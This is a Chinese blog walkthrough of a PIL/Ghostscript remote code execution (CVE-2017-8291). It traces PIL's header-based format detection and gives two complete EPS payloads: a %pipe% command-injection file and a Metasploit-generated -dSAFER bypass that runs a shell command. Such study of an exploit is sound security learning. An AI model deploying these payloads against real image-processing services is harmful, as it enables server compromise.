PIL利用ghostscript漏洞

前言

基本是跟着nearg1e大神的文章走的,自己比较菜,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt

环境

Ubuntu16.04,PIL1.1.7,ghostscript-9.19(version <= 9.21)

分析

首先是一个简单的Demo

from PIL import Image
def get_img_size(filepath=""):
    if filepath:
        img = Image.open(filepath)
        img.load()
        return img.size
    return (0,0)

这个非常简单,就是获取图片size的Demo,这里调用了PIL里Image的Image.open和Image.load函数,加载图片
进下源码,看open函数里,由于这里我已经了解这个漏洞大概了,我直接看open函数对格式的判断吧

for i in ID:
        try:
            factory, accept = OPEN[i]
            if not accept or accept(prefix):
                fp.seek(0)
                return factory(fp, filename)
        except (SyntaxError, IndexError, TypeError):
            pass

看到accept(prefix),这个prefix是前缀,文件头,也就是说这里应用了文件头,我们再跟下这个accept

#EpsImagePlugin
def _accept(prefix):
    return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
    return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
    return prefix[:4] == "\0\0\2\0"

这样的还有很多,也就是说,我们使用的后缀不要紧,重要的是文件头表示这是什么文件,我们试一下:
首先找一张普通图吧,这张图片是png格式,我改成jpg,然后用脚本走下。

from PIL import Image
def show(filename):
    i=Image.open(filename)
    print i.format
show("./123.jpg")
[ 改后缀]

那么我改改文件头呢?


是可以的,做到让PIL懵逼
我跟着nearg1e大神的思路走了下就是阅读EpsImagePlugin的源码
load之后,我们走向EpsImagePlugin

command = ["gs",
               "-q",                    # quite mode
               "-g%dx%d" % size,        # set output geometry (pixels)
               "-dNOPAUSE -dSAFER",     # don't pause between pages, safe mode
               "-sDEVICE=ppmraw",       # ppm driver
               "-sOutputFile=%s" % file,# output file
               "- >/dev/null 2>/dev/null"]

命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null

try:
        gs = os.popen(command, "w")
        # adjust for image origin
        if bbox[0] != 0 or bbox[1] != 0:
            gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
        fp.seek(offset)
        while length > 0:
            s = fp.read(8192)
            if not s:
                break
            length = length - len(s)
            gs.write(s)
        status = gs.close()
        if status:
            raise IOError("gs failed (status %d)" % status)
        im = Image.core.open_ppm(file)
    finally:
        try: os.unlink(file)
        except: pass

这里就是dSAFER参数,这个参数限制了我们对文件删除、重命名以及命令执行的行为,但是牛逼的 GhostButt CVE-2017-8291 刚好就是 dSAFER 参数的 bypass。但是,这个漏洞,我一个web狗表示很纠结,于是,我先进行下不带dSAFER的尝试

不带dSAFER的尝试

我们直接把源码里的dSAFER注释掉,然后就可以了
不带dSAFER的使用,发现一切比较舒畅,我们直接利用gs的pipe通道就可以直接命令执行

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit

我们使用这个包装过的poc,我们可以改为png后缀,进行image.load操作,发现没毛病。之后就直接进行cve吧

GhostButt CVE-2017-8291

这让我一个web狗很纠结啊,表示二进制很渣啊。
所以,我就直接用msf吧,生成了如下poc

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

但是很纠结的是不行啊。
于是我又在9.21版本试了一次,结果发现,可以了。

也就是说这个cve只适用于9.21版本的,所以兄弟们注意了。

后记

由于自己不是pwn大神,所以这个cve就先放一下吧,以后功力涨了再说,先把web端搞好。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,711评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,932评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,770评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,799评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,697评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,069评论 1 276
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,535评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,200评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,353评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,290评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,331评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,020评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,610评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,694评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,927评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,330评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,904评论 2 341

推荐阅读更多精彩内容